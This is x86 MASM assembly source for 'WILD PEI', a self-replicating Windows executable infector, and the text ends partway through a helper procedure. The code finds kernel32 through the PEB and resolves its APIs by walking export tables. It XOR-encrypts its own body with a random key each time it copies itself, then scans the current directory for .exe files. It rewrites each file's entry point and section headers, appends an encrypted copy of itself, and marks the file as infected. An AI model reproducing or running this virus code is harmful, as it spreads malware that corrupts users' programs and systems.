; WILD PEI	by Quentin MULLER

.386
.model flat, stdcall

    ; ******** INCLUDES ******** 
option casemap:none
assume fs:nothing
	
    include \masm32\include\windows.inc
    include \masm32\include\user32.inc
    include \masm32\include\kernel32.inc

    includelib \masm32\lib\user32.lib
    includelib \masm32\lib\kernel32.lib


    ; ******** DATAS ******** 
.data


.code

    codelen     equ  endcode - startcode  
    codeofz     equ  start - startcode
    codefarjmp  equ  oldEpValue - startcode
    initialdie  equ  initial_die - startcode
    decrypt_len equ  endcode - decrypted_start
    polymorflen equ  decrypted_start - startcode
    
startcode:
start:

    ; ******* PROTOTYPES ******* 
getfile     proto Fname:PTR DWORD, openCreate:DWORD
writefile   proto szToWrite:DWORD, buffer:PTR DWORD
memcpy      proto src:PTR DWORD, dest:PTR DWORD, siz:DWORD
memfill     proto src:PTR DWORD, siz:DWORD, val:DWORD
readfile    proto toRead:DWORD, buffer:PTR DWORD
setfileptr  proto OffsetB:DWORD
closefile   proto
getdir      proto
getfstfilex proto
getnxtfile  proto
jambi       proto
getrndint   proto
getFuncAddr proto baseAddress:DWORD, funcName:DWORD
recoverFuncAddress proto KBAdr: DWORD, FuncStr:DWORD
getPicInEax proto adress:DWORD
;pushPicWithEax proto adress:DWORD
strcmp      proto s1:DWORD, s2:DWORD
jambi       proto 

 ; ******* GET PIC ******* 
    call    get_delta
get_delta:
    pop     edi
    sub     edi, offset get_delta


    jmp     jambi
jambi proc

    ; ******* LOCAL VARS ******* 

    LOCAL KBA:DWORD		                      ; Kernel Base Address
    LOCAL VPPTR:DWORD		                      ; VirtualProtect Ptr

    jmp dodge
    VirtualProtectStr   db  "VirtualProtect", 0
dodge:

    ; ******* GET KERNEL BASE ADDRESS ******* 
    xor	esi,esi
    mov	esi,fs:[030h]		; pointer to PEB
    mov	esi,[esi + 0Ch]		; PEB->Ldr
    mov	esi,[esi + 01Ch]        ; PEB->Ldr.InLoadOrderModuleList.Flink 
    mov	esi,[esi]               ; second entry
    mov	esi,[esi + 08h]		; kernel base address
    mov     KBA, esi  ; saved


    ; ******* GET VP ADDRESS ******* 

    lea	eax, [offset VirtualProtectStr + edi]
    push	eax
    push	KBA
    call	getFuncAddr
    cmp	eax, 0
    je	die
    mov	VPPTR, eax

    push    edx                     ; keep RVA
    ; ******* ENABLE SELF CODE READING ******* 
    push    0                       ; will be used as a var
    push    esp                     ; push address of previously stacked 0 
    push    40h                     ; RDW
    push    codelen                 ; code size
    mov     eax, offset startcode
    add     eax, edi 
    push    eax                     ; code beginning address
    call    VPPTR                   ; call VirtualProtect
    ;mov     [offset BaseRegAdr + edi], ebx         ; save base register value

decrypt:
 ; ******* DECRYPT *******
 
    mov ecx, decrypt_len
    mov ebx, edi
    add ebx, offset decrypted_start 
    mov eax, 0                      ;key
decryptloop:
    xor DWORD PTR [ebx], eax
    add ebx, 4
    sub ecx, 4
    .if (ecx >= 4)
        jmp decryptloop
    .endif
    
    jmp decrypted_start
    NopsAsAFreePlace  db  10 dup(90h)

decrypted_start:


    jmp avoid

    ; ******* << VARS DECLARATIONS >> ******* 

    ; vars for the self read mode
    Old         dw  ?                               ; pointed param for Virtual Protect
    BaseRegAdr  dd  ?                               ; Pointer to base register provided at startup

    ; debug vars
    WndTextOut1 db  "Kernel32 base address: 0x"
    WndTextOut2 db  8 dup (66), 13, 10, 0           ; "BBBBBBBB\r\n\0" ?
    WndTextFmt  db  "%x", 0
    dbg1        db  "Read: "
    dbg2        db  3 dup (66), 13, 10, 0           ; "BBB\r\n\0" ?
    dbgFmt      db  "%d", 0                         ; Debug format

    ; Handles for files
    dbgHnd      dd  ?                               ; Current handle for writing debug log
    curFileHnd  dd  ?                               ; Current handle for file operations
    openFileHnd dd  ?                               ; Currently opened exe handle after getfst/nxtfile
    lastFoundHd dd  ?                               ; Last returned handle from getfst/nxtfile

    ; vars describing file structure
    PEHeader    dd  ?                               ; Offset to PEHeader
    PNTHeader   dd  ?                               ; Pointer to NTHeader
    OptHeaderSz dw  ?                               ; Size of optional header
    OptHeaderEn dd  ?                               ; Pointer to Optional Header end
    
    ; vars for sections respect
    SectionPtr  dd  ?                               ; Current Section Header Offset 
    SectionsSz  dd  ?                               ; Sections total raw size
    SectionCtDw dw  ?                               ; Section countdown
    SectionAlgn dd  ?                               ; Section alignement
    TotalSize   dd  ?                               ; Total output file size
    FarthestPtr dd  ?                               ; farthest raw data ptr of all sections

    ; vars for the section to infect
    RVALoadAddress  dd  ?                           ; where the program is loaded real time
    NewEntryPoint   dd  ?
oldEpValue:
    JmpToOriginalEP dd  0                           ; offset initial_die
    OldPEntryPoint  dd  ?                           ; Represents the (imageBase + EntryPoint) address of the analysed exe file
    
    PEntryPoint dd  ?                               ; Pointer to Address of entry point
    PSectionHea dd  ?                               ; Pointer to Section header
    CodeInsert  dd  ?                               ; Pointer to end of last section's data
    tmpdd       dd  ?                               ; TMP DATA DWORD
    NewVS       dd  ?                               ; Value of new Virtual Size
    NewRDS      dd  ?                               ; Value of new Raw Data Size
    NewChrstcs  dd  ?                               ; Value of new Characteristics

    ; vars for generation of new content
    bufferCode  dd  ?                               ; temporary buffer for new code

    ; vars for the writing of files
    FileName    db  "debugOutput.txt", 0            ; name of the debug file
    szWritten   dd  ?                               ; Size written in file

    ; vars for the reading of files
    bufferRd    dd  ?                               ; buffer for read operations
    bufferRdSz  dd  600h                            ; buffer size
;    bufferTest  db  400 dup (84)                    ; buffer for read operations
    szRead      dd  ?                               ; Size read in file
    firstPass   dd  ?                               ; Flag to know if reading the beginning

    ; vars about the current directory and contained files
    stringFmt   db  "%s", 0                         ; 
    fileFilter  db  "\*.exe", 0                     ; filter to only get exe files
    fFindData   WIN32_FIND_DATA <>                  ; exe file information structure

    bufDirPath  db  100 dup (82)                    ; buffer for path
    bufDirSz    dd  ?                               ; path size


    szWndTitle  db  "[WildPEI]", 0
    szWndText   db  " - INFECTED PE - ", 0
    Infected    dd  00ad0b70h
    IsACopy     dd  0
    
; vars for functions ptrs
    KernelBaseAddress   dd  ?
    
    VirtualProtectPtr   dd  ?
    ;
    RtlGenRandomPtr     dd  ?
    LoadLibraryExAPtr   dd  ?
    GetProcAddressPtr   dd  ?
    MessageBoxPtr       dd  ?
    ;
    CloseHandlePtr      dd  ?
    WriteFilePtr        dd  ?
    CreateFilePtr       dd  ?
    ReadFilePtr         dd  ?
    ;
    ExitProcessPtr      dd  ?
    FindNextFileAPtr    dd  ?
    FindFirstFileExAPtr dd  ?
    SetFilePointerPtr   dd  ?
    ;
    HeapCreatePtr       dd  ?
    HeapAllocPtr        dd  ?
    GetLastErrorPtr     dd  ?
    GetCurrentDirectoryAPtr dd ?
    ;
    wsprintfAPtr        dd  ?
    CopyMemoryPtr       dd  ?
    FillMemoryPtr       dd  ?


    RtlGenRandomStr     db  "SystemFunction036", 0
    LoadLibraryExAStr   db  "LoadLibraryExA", 0
    GetProcAddressStr   db  "GetProcAddress", 0
    MessageBoxStr       db  "MessageBoxA", 0
    ;
    CloseHandleStr      db  "CloseHandle", 0
    WriteFileStr        db  "WriteFile", 0
    CreateFileStr       db  "CreateFileA", 0
    ReadFileStr         db  "ReadFile", 0
    ;
    ExitProcessStr      db  "ExitProcess", 0
    FindNextFileAStr    db  "FindNextFileA", 0
    FindFirstFileExAStr db  "FindFirstFileExA", 0
    SetFilePointerStr   db  "SetFilePointer", 0
    ;
    HeapCreateStr       db  "HeapCreate", 0
    HeapAllocStr        db  "RtlAllocateHeap", 0
    GetLastErrorStr     db  "GetLastError", 0
    GetCurrentDirectoryAStr db  "GetCurrentDirectoryA", 0
    ;
    wsprintfAStr        db  "wsprintfA", 0
    CopyMemoryStr       db  "CopyMemory", 0
    FillMemoryStr       db  "FillMemory", 0

    RandomInt           dd  ?

    hModuleNtdll        dd  ?
    hModuleUser32       dd  ?
    hModuleAdvapi32     dd  ?
    
    hModuleNtdllStr     db  "C:\Windows\System32\ntdll.dll", 0
    hModuleUser32Str    db  "C:\Windows\System32\user32.dll", 0
    hModuleAdvapi32Str  db  "C:\Windows\System32\advapi32.dll", 0
avoid:




    

    ; save KBA
    mov     eax, KBA
    mov     [offset KernelBaseAddress + edi], eax
    ; save RVA
    pop     eax
    pop     edx
    mov     [offset RVALoadAddress + edi], edx
    ; save vpptr
    mov     eax, VPPTR
    mov     [offset VirtualProtectPtr + edi], eax
    

    ; ******* GET FUNCTIONS ADDRESSES ******* 
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset LoadLibraryExAStr
    mov     [offset LoadLibraryExAPtr + edi], eax
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset GetProcAddressStr
    mov     [offset GetProcAddressPtr + edi], eax
    
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset CloseHandleStr
    mov     [offset CloseHandlePtr + edi], eax
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset WriteFileStr
    mov     [offset WriteFilePtr + edi], eax
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset CreateFileStr
    mov     [offset CreateFilePtr + edi], eax
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset ReadFileStr
    mov     [offset ReadFilePtr + edi], eax
    
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset ExitProcessStr
    mov     [offset ExitProcessPtr + edi], eax
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset FindNextFileAStr
    mov     [offset FindNextFileAPtr + edi], eax
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset FindFirstFileExAStr
    mov     [offset FindFirstFileExAPtr + edi], eax
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset SetFilePointerStr
    mov     [offset SetFilePointerPtr + edi], eax

    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset HeapCreateStr
    mov     [offset HeapCreatePtr + edi], eax
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset GetLastErrorStr
    mov     [offset GetLastErrorPtr + edi], eax
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset GetCurrentDirectoryAStr
    mov     [offset GetCurrentDirectoryAPtr + edi], eax
    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset CopyMemoryStr
    mov     [offset CopyMemoryPtr + edi], eax

    invoke  recoverFuncAddress, [offset KernelBaseAddress + edi], offset FillMemoryStr
    mov     [offset FillMemoryPtr + edi], eax

    ; get advapi32 module lib base adress for msg box
    push	NULL
    push	NULL
    lea	eax, [offset hModuleAdvapi32Str + edi]
    push	eax
    call	[offset LoadLibraryExAPtr + edi]
    cmp	eax, NULL
    je	die
    mov	[offset hModuleAdvapi32 + edi], eax

    ;get RtlGenRandom ptr
    lea     eax, [offset RtlGenRandomStr + edi]
    push	eax
    push	[offset hModuleAdvapi32 + edi]
    call	[offset GetProcAddressPtr + edi]
    cmp	eax, NULL
    je	die
    mov	[offset RtlGenRandomPtr + edi], eax

    ; get ntdll module lib base adress for msg box
    push	NULL
    push	NULL
    lea	eax, [offset hModuleNtdllStr + edi]
    push	eax
    call	[offset LoadLibraryExAPtr + edi]
    cmp	eax, NULL
    je	die
    mov	[offset hModuleNtdll + edi], eax

    ;get HeapAlloc ptr
    lea     eax, [offset HeapAllocStr + edi]
    push	eax
    push	[offset hModuleNtdll + edi]
    call	[offset GetProcAddressPtr + edi]
    cmp	eax, NULL
    je	die
    mov	[offset HeapAllocPtr + edi], eax
    
    ; get user32 module lib base adress for msg box
    push	NULL
    push	NULL
    lea	eax, [offset hModuleUser32Str + edi]
    push	eax
    call	[offset LoadLibraryExAPtr + edi]
    cmp	eax, NULL
    je	die
    mov	[offset hModuleUser32 + edi], eax

    ;get msgbox ptr
    lea     eax, [offset MessageBoxStr + edi]
    push	eax
    push	[offset hModuleUser32 + edi]
    call	[offset GetProcAddressPtr + edi]
    cmp	eax, NULL
    je	die
    mov	[offset MessageBoxPtr + edi], eax

    ;get wsprintfA ptr
    lea     eax, [offset wsprintfAStr + edi]
    push	eax
    push	[offset hModuleUser32 + edi]
    call	[offset GetProcAddressPtr + edi]
    cmp	eax, NULL
    je	die
    mov	[offset wsprintfAPtr + edi], eax
    
    ; ******* call the MSGBOX ******* 
    .if (DWORD PTR[offset IsACopy + edi] != 0)
        push    MB_OK
        lea     eax, [offset szWndTitle + edi]
        push    eax
        lea     eax, [offset szWndText + edi]
        push    eax
        push    0
        call    [offset MessageBoxPtr + edi]
    .endif
    add     [offset IsACopy + edi], 1                                ; flag the code contained in ram as a copy

    ; ******* DEBUG KERNEL ADDRESS ******* 
    push    esi
    ; @ todo: work here, create a macro or idk what  to get address + edi
    invoke  getPicInEax, offset WndTextFmt                           ; Format
    push    eax
    invoke  getPicInEax, offset WndTextOut2                          ; buffer
    push    eax
    call    [offset wsprintfAPtr + edi]
    


    ; ******* DEBUG ******* 
    ; ecriture de l'adresse KBA dans FileName (always create)
    invoke  getPicInEax, offset FileName
    invoke  getfile, eax, 2h
    invoke  getPicInEax, offset WndTextOut1
    invoke  writefile, SIZEOF WndTextOut1 + SIZEOF WndTextOut2, eax   ; no need to add edi for sizeof

    mov     eax, [offset curFileHnd + edi]
    mov     [offset dbgHnd + edi], eax

    ; open directory for files
    invoke  getdir

    ; format path search string
    invoke  getPicInEax, offset fileFilter                  ; add filter to the end of path
    push    eax
    invoke  getPicInEax, offset stringFmt                   ; Format
    push    eax
    invoke  getPicInEax, offset bufDirPath                  ; directory path buffer offset
    add     eax, [offset bufDirSz + edi]                    ; + size of this buffer => go to end
    push    eax                                             ; offset to write
    call    [offset wsprintfAPtr + edi]

    invoke  getfstfilex                                     ; find first exe

; allocate buffer to store new infection code
    push    codelen                                     ; max size of the heap
    push    codelen                                     ; initial size of the heap
    push    0                                           ; no options
    call    [offset HeapCreatePtr + edi]
    mov     [offset bufferCode + edi], eax              ; save returned ptr
        
    push    codelen                                     ; size to alloc
    push    0                                           ; no flags
    push    [offset bufferCode + edi]                   ; give the heap ptr
    call    [offset HeapAllocPtr + edi]

; allocate buffer to read files
    push    [offset bufferRdSz + edi]                   ; max size of the heap
    push    [offset bufferRdSz + edi]                   ; initial size of the heap
    push    0                                           ; no options
    call    [offset HeapCreatePtr + edi]
    mov     [offset bufferRd + edi], eax                ; save returned ptr
        
    push    [offset bufferRdSz + edi]                   ; size to alloc
    push    0                                           ; no flags
    push    [offset bufferRd + edi]                     ; give the heap ptr
    call    [offset HeapAllocPtr + edi]

mainloop:
    invoke  getPicInEax, offset fFindData.cFileName
    invoke  getfile, eax, 3h                                ; open found exe
    call    [offset GetLastErrorPtr + edi]
    .if (eax == ERROR_SUCCESS)                              ; infect when able to
        mov     eax, [offset curFileHnd + edi]              ; set curFile as the handle opened
        mov     [offset openFileHnd + edi], eax
        mov     [offset firstPass + edi], 1                 ; flag first pass in the file

continueread:
        invoke  readfile, [offset bufferRdSz + edi], [offset bufferRd + edi]    ; read the exe

        mov     eax, [offset dbgHnd + edi]                  ; set to DEBUG
        mov     [offset curFileHnd + edi], eax
        push    [offset szRead + edi]
        invoke  getPicInEax, offset dbgFmt
        push    eax                                         ; Format
        invoke  getPicInEax, offset dbg2
        push    eax                                         ; buffer
        call    [offset wsprintfAPtr + edi]
        invoke  getPicInEax, offset dbg1
        invoke  writefile, SIZEOF dbg1 + SIZEOF dbg2, eax

        mov     eax, [offset openFileHnd + edi]             ; set to READING
        mov     [offset curFileHnd + edi], eax

; ********* ANALYSIS *********
        mov     ebx, [offset bufferRd + edi]                ; get address of buffer
        
        .if (WORD PTR [ebx] != 'ZM')                        ; E_MAGIC
            jmp     nextfile
        .endif
        
            mov     eax, DWORD PTR [ebx + 3Ch]              ; get dword at buffer + 3ch
            mov     [offset PEHeader + edi], eax            ; PE header adress

            mov     ecx, ebx                                ; get adress of buffer
            add     ecx, [offset PEHeader + edi]            ; + offset contained in PEHeader
            mov     [offset PNTHeader + edi], ecx           ; copy address of NTHeader
            .if (eax > [offset szRead + edi])
                jmp     nextfile
            .endif
            .if (WORD PTR [ecx] != 'EP')                    ; PE SIGNATURE
                jmp     nextfile
            .endif
            
                mov     eax, [offset Infected + edi]        ; test
                cmp     DWORD PTR[ecx + 4Ch], eax           ; if infected
                je      nextfile                            ; go process next exe
                
                mov     ax, WORD PTR [ecx + 6h]                      ; go to FILE_HEADER.nbr_of_sections
                mov     WORD PTR [offset SectionCtDw + edi], ax      ; copy nbr of sections

                mov     ax, WORD PTR [ecx + 14h]                     ; go to FILE_HEADER.opt_header_sz
                mov     WORD PTR [offset OptHeaderSz + edi], ax      ; copy size of optional header
                add     cx, 18h                                      ; go to OPTIONAL_HEADER

                mov     [offset PEntryPoint + edi], ecx              ; prepare ptr to entry point ptr
                add     [offset PEntryPoint + edi], 10h              ; get real address of entry point ptr
                add     cx, WORD PTR [offset OptHeaderSz + edi]      ; go to end of Optional header
                mov     [offset OptHeaderEn + edi], ecx              ; save adress

                ; Resolving of the sections sizes from headers
                mov     [offset SectionPtr + edi], ecx               ; first section offset
                mov     [offset FarthestPtr + edi], 0                ; ini farthest ptr to 0
sections:
                    mov     eax, DWORD PTR [ecx + 14h]                     ; get section raw data ptr
                    .if (eax > [offset FarthestPtr + edi])                 ; and if its further than others
                        mov     [offset FarthestPtr + edi], eax            ; save it as farthest
                        mov     [offset PSectionHea + edi], ecx            ; and save dis sectionheader pos
                    .endif
                    add     cx, 28h                                  ; move pointer to next section header
                    mov     [offset SectionPtr + edi], ecx           ; Save position after sections
                    dec     WORD PTR [offset SectionCtDw + edi]      ; Decrement sections to count
                .if (WORD PTR [offset SectionCtDw + edi] != 0)       ; While we havent counted all sections
                    jmp sections
                .endif


; ********* INFECTION *********  
        .if ([offset firstPass + edi] == 1)                 ; if changing headers
;            mov     ecx, PEntryPoint
;            sub     ecx, offset bufferTest                 ; ecx contains offset to entrypoint
;            invoke  setfileptr, ecx                        ; move here in file
;            mov     eax, ebx                               ; from file beginning


; compute entry point 
            mov     ecx, [offset PSectionHea + edi]         ; get back the last section offset
            mov     eax, DWORD PTR [ecx + 0Ch]              ; add virtual adress of last section
            add     eax, DWORD PTR [ecx + 10h]              ; add size of last section
            add     eax, codeofz                            ; add offset required to reach code (datas are declared first)
            mov     [offset NewEntryPoint + edi], eax       ; copy result in temporary var

            mov     ecx, [offset PEntryPoint + edi]         ; get offset in raw file of the entry point attribute
            mov     eax, DWORD PTR[ecx]
            mov     [offset OldPEntryPoint + edi], eax

; change entry point
            sub     ecx, ebx                                ; substract offset to the raw file currently in mem
            invoke  setfileptr, ecx                         ; move to entrypoint attribute
            invoke  getPicInEax, offset NewEntryPoint
            invoke  writefile, 4, eax                       ; write result as the Entry Point
            
; change base of code
            mov     ecx, [offset PEntryPoint + edi]         ; get offset in raw file of the entry point attribute
            add     ecx, 4                                  ; modify offset to point baseOfCode
            sub     ecx, ebx                                ; substract offset to the raw file currently in mem
            invoke  setfileptr, ecx
            invoke  getPicInEax, offset NewEntryPoint
            invoke  writefile, 4, eax                       ; write result as the new BaseOfCode


; compute size of image
            mov     eax, [offset PEntryPoint + edi]         ; get offset in raw file of the entry point attribute
            mov     eax, DWORD PTR [eax + 10h]              ; point SectionAlignement
            mov     [offset SectionAlgn + edi], eax         ; save the SectionAlignement

            mov     eax, [offset NewEntryPoint + edi]       ; from entryPoint,
            add     eax, codelen                            ; get total final size of file
            mov     [offset TotalSize + edi], eax           ; save the total final size of file
            
            mov     edx, 0                                  ; enable division
            div     [offset SectionAlgn + edi]              ; divide total size by sectionAlignement
            inc     eax                                     ; get result + 1
            mul     [offset SectionAlgn + edi]              ; finaly get the multiple for the image size
            mov     [offset tmpdd + edi], eax               ; and save it

; change size of image
            mov     ecx, [offset PEntryPoint + edi]         ; get offset in raw file of the entry point attribute
            add     ecx, 28h                                ; modify offset to point SizeOfImage
            sub     ecx, ebx                                ; substract offset to the raw file currently in mem
            invoke  setfileptr, ecx
            invoke  getPicInEax, offset tmpdd
            invoke  writefile, 4, eax                       ; write result as the new BaseOfCode

; reset polymorphic code part in the buffer to ZEROS
            mov     ecx, [offset bufferCode + edi]          ; get adress of buffer
            mov     eax, codelen
            invoke  memfill, ecx, eax, 0

; clone current copyable code(undecrypted non-polymorphic part) into temporary buffer
            invoke  getPicInEax, offset decrypted_start
            mov     ecx, [offset bufferCode + edi]          ; get adress of buffer
            add     ecx, polymorflen                        ; plus offset for static code
            mov     edx, decrypt_len
            invoke  memcpy, eax, ecx, edx

; ******* CRYPT *******
crypt:
            invoke  getrndint                               ; generate random key
            mov edx, decrypt_len
            mov eax, [offset RandomInt + edi]               ; key
cryptloop:
            xor DWORD PTR [ecx], eax                        ; ecx is the cloned buffer
            add ecx, 4
            sub edx, 4
            .if (edx >= 4)
                jmp cryptloop
            .endif

; ******* POLYM *******

            

; append code to the end
            mov     ecx, [offset PSectionHea + edi]         ; get back the last section offset
            mov     eax, DWORD PTR [ecx + 14h]              ; add raw data ptr offset for last section
            add     eax, DWORD PTR [ecx + 10h]              ; add size of last section
            mov     [offset CodeInsert + edi], eax          ; place result in
            invoke  setfileptr, eax                         ; move here in file
            push    eax                                     ; keep it for after
            mov     ecx, codelen
            mov     eax, [offset bufferCode + edi] 
            invoke  writefile, ecx, eax                     ; write code in file            

; modify the 'jmp back to old entry point' instruction at the end
            pop     eax
            add     eax, codefarjmp                         ; get offset in file to far jmp inst.
            invoke  setfileptr, eax                         ; move here in file
            mov     ecx, [offset PNTHeader + edi]           ; get offset in buffered file
;            mov     eax, DWORD PTR [ecx + 34h]             ; set farjmp to : imgBase ..
;            invoke  getPicInEax, offset startcode          ; From this startcode
            mov     eax, [offset NewEntryPoint + edi]       ; + New EntryPoint
            sub     eax, [offset OldPEntryPoint + edi]      ; - Old EntryPoint
            mov     [offset tmpdd + edi], eax               ; 
            invoke  getPicInEax, offset tmpdd
            invoke  writefile, 4, eax                       ; write absolute address for far jmp inst


; set infected flag on reserved field from opt header
            mov     ecx, [offset PNTHeader + edi]
            add     ecx, 4Ch                                ; go to Reserved1
            sub     ecx, ebx                                ; get relative address in file
            invoke  setfileptr, ecx
            invoke  getPicInEax, offset Infected
            invoke  writefile, 4, eax                       ; write result as the new SOID
            
; change virtual size of section
            mov     ecx, [offset PSectionHea + edi]         ; get back the last section offset
            mov     eax, DWORD PTR [ecx + 08h]              ; add size of last section
            add     eax, codelen                            ; add size written at the end
            mov     [offset NewVS + edi], eax               ; save new VS Value
            mov     ecx, [offset PSectionHea + edi]         ; get back the last section offset
            sub     ecx, ebx                                ; substract offset to the raw file currently in mem
            add     ecx, 08h
            invoke  setfileptr, ecx                         ; move to VS
            invoke  getPicInEax, offset NewVS
            invoke  writefile, 4, eax                       ; write result as the new VS

; change raw data size of section
            mov     ecx, [offset PSectionHea + edi]         ; get back the last section offset
            mov     eax, DWORD PTR [ecx + 10h]              ; add size of last section
            add     eax, codelen                            ; add size written at the end
            mov     [offset NewRDS + edi], eax              ; save new RDS Value
            mov     ecx, [offset PSectionHea + edi]         ; get back the last section offset
            sub     ecx, ebx                                ; substract offset to the raw file currently in mem
            add     ecx, 10h
            invoke  setfileptr, ecx                         ; move to RDS
            invoke  getPicInEax, offset NewRDS
            invoke  writefile, 4, eax                       ; write result as the new RDS

; change characteristics of section
            mov     ecx, [offset PSectionHea + edi]         ; get back the last section offset
            mov     eax, DWORD PTR [ecx + 24h]              ; get characteristics of last section
            or      eax, 60000020h                          ; allow READ|EXEC|CODE
            mov     [offset NewChrstcs + edi], eax          ; save new Characteristics Value
            mov     ecx, [offset PSectionHea + edi]         ; get back the last section offset
            sub     ecx, ebx                                ; substract offset to the raw file currently in mem
            add     ecx, 24h
            invoke  setfileptr, ecx                         ; move to Characteristics
            invoke  getPicInEax, offset NewChrstcs
            invoke  writefile, 4, eax                       ; write result as the new Chrstcs

; change size of code in PEHeader
            mov     ecx, [offset PNTHeader + edi]
            add     ecx, 1Ch                                ; go to SizeOfCode
            mov     eax, DWORD PTR [ecx]                    ; get sizeOfCode
            add     eax, codelen                            ; add number of added bytes
            mov     [offset tmpdd + edi], eax               ; copy
            sub     ecx, ebx                                ; get relative address in file
            invoke  setfileptr, ecx
            invoke  getPicInEax, offset tmpdd
            invoke  writefile, 4, eax                       ; write result as the new SOC

; change size of initialized data in PEHeader
            mov     ecx, [offset PNTHeader + edi]
            add     ecx, 20h                                ; go to SizeOfInitializedData
            mov     eax, DWORD PTR [ecx]                    ; get sizeOfInitializedData
            add     eax, codelen                            ; add number of added bytes
            mov     [offset tmpdd + edi], eax               ; copy
            sub     ecx, ebx                                ; get relative address in file
            invoke  setfileptr, ecx
            invoke  getPicInEax, offset tmpdd
            invoke  writefile, 4, eax                       ; write result as the new SOID

; after infection, set flag to 0
            mov     [offset firstPass + edi], 0             ; no more in the beginning
        .endif                                              ; endif firstPass = 1

        ;.if ([offset szRead + edi] == 600h)                 ; while !EOF => @todo : 600 should be replaced by [offset bufferRdSz + edi], but compilation is sayin "invalid operands"
        ;    jmp continueread
        ;.endif
nextfile:
        invoke  closefile                                   ; close current exe
        
    .endif
    invoke  getnxtfile                                      ; get next exe
    call    [offset GetLastErrorPtr + edi]
    .if (eax != ERROR_NO_MORE_FILES)
        jmp mainloop                                        ; loop if there is other exes
    .endif

jambi endp



     ; *************************
exit:; ******* FINAL END ******* 
     ; *************************
    mov     eax, [offset dbgHnd + edi]                      ; close DEBUG file
    mov     [offset curFileHnd + edi], eax
    invoke  closefile


die:
    mov     eax, [offset RVALoadAddress + edi]              ; absolute address where program was loaded in real-time
    sub     eax, [offset JmpToOriginalEP + edi]             ; - JmpToOriginalEP value is replaced when copying code (its NewEP - OldEP)
;    add     eax, edi                                        ; get rva initial oep
    .if ([offset IsACopy + edi] != 1)
        jmp     eax                                             ; jmp back to the original EP
    .endif
initial_die:
    push    0
    call	[offset ExitProcessPtr + edi]





    ; ******* PROCEDURES ******* 

memfill     proc dest:PTR DWORD, siz:DWORD, val:DWORD
    push    val
    push    siz
    push    dest
    call    [offset FillMemoryPtr + edi]
    ret
memfill     endp

memcpy      proc src:PTR DWORD, dest:PTR DWORD, siz:DWORD
    push    siz
    push    src
    push    dest
    call    [offset CopyMemoryPtr + edi]
    ret
memcpy      endp

writefile   proc szToWrite:DWORD, buffer:PTR DWORD
    push	NULL                              ; LPOverlapped
    invoke  getPicInEax, offset szWritten     ; BytesWritten
    push    eax
    push	szToWrite                         ; BytesToWrite
    push	buffer                            ; Buffer
    push    [offset curFileHnd + edi]         ; fhandle 
    call	[offset WriteFilePtr + edi]
    ret
writefile   endp

readfile    proc toRead:DWORD, buffer:PTR DWORD
    push    NULL                               ; LPOverlapped
    invoke  getPicInEax, offset szRead         ; Bytes Read (out)
    push    eax
    push    toRead                             ; Bytes To Read
    push    buffer                             ; Buffer
    push    [offset curFileHnd + edi]          ; fhandle
    call    [offset ReadFilePtr + edi]
    ret
readfile    endp

closefile   proc
    push    [offset curFileHnd + edi]          ; last opened Handle
    call    [offset CloseHandlePtr + edi]
    ret
closefile   endp

getfile     proc Fname:PTR DWORD, openCreate:DWORD
    push    NULL                    ; no template file
    push    80h                     ; File attributes Normal
    push    openCreate              ; Always create = 2, open existing = 3
    push    NULL                    ; default security
    push    3h                      ; Shared = none ; all 3h
    push    40000000h or 80000000h  ; Access = rd+wr (40000000h or 80000000h works) Y c0000000h doesnt ?
    push    Fname                   ; file name
    call    [offset CreateFilePtr + edi]
    mov     [offset curFileHnd + edi], eax         ; Save last opened handle into curFileHnd
    ret
getfile     endp

getdir      proc
    invoke  getPicInEax, offset bufDirPath         ; buffer adress for the directory path
    push    eax
    push    SIZEOF bufDirPath                      ; max size for this buffer
    call    [offset GetCurrentDirectoryAPtr + edi]
    mov     [offset bufDirSz + edi], eax           ; save the path length
    ret
getdir      endp

getrndint   proc
    push    4                                      ; random number length in bytes
    invoke  getPicInEax, offset RandomInt          ; temporary buffer for receiving random value
    push    eax
    call    [offset RtlGenRandomPtr + edi]
    ret
getrndint   endp

getfstfilex proc
    push    0                                      ; 0
    push    NULL
    push    0                                      ; FindExSearchNameMatch(0) <struct FINDEX_SEARCH_OPS>
    invoke  getPicInEax, offset fFindData          ; structure for receiving file information
    push    eax
    push    1h                                     ; findex info level : basic(1) <struct WIN32_FIND_DATA>
    invoke  getPicInEax, offset bufDirPath         ; path of the directory to look into
    push    eax
    call    [offset FindFirstFileExAPtr + edi]
    mov     [offset curFileHnd + edi], eax         ; save handle as the current file handle
    mov     [offset lastFoundHd + edi], eax        ; save handle as the last found file handle
    ret
getfstfilex endp

getnxtfile  proc
    invoke  getPicInEax, offset fFindData          ; structure for receiving file information
    push    eax
    push    [offset lastFoundHd + edi]             ; push previous file handle found
    call    [offset FindNextFileAPtr + edi]
    ret    
getnxtfile  endp

setfileptr  proc OffsetB:DWORD
    push    0                                      ; From file_begin
    push    NULL                                   ; Adress isnt on 64 but is on 32bits
    push    OffsetB                                ; Move to specified offset
    push    [offset curFileHnd + edi]              ; file handle
    call    [offset SetFilePointerPtr + edi]
    ret
setfileptr  endp

getFuncAddr proc baseAddress:DWORD, funcName:DWORD
	
    LOCAL EOT:DWORD
    LOCAL EAT:DWORD
	
    ;; Save register
    push	esi
    push	edi
    push	ebx
    push	ecx
    push	edx
	
    mov	esi, baseAddress
    mov	edi, [esi+3ch]			; get lfanew
    add	esi, edi				; GOTO PE header
    add	esi, 18h				; Go IMAGE_OPTIONAL_HEADER
    mov	ebx, [esi+60h]			; Get RVA of first element from DATA DIRECTORY : IMAGE_DIRECTORY_ENTRY_EXPORT
    mov	edi, baseAddress
    add	edi, ebx				; GO IMAGE_EXPORT_DIRECTORY
    mov	edx, [edi+24]			; NB of Names in ENT > Export name table
    imul	edx, 4
    mov	esi, [edi+28]			; pointer (RVA) to AddressOfFunctions (EAT)
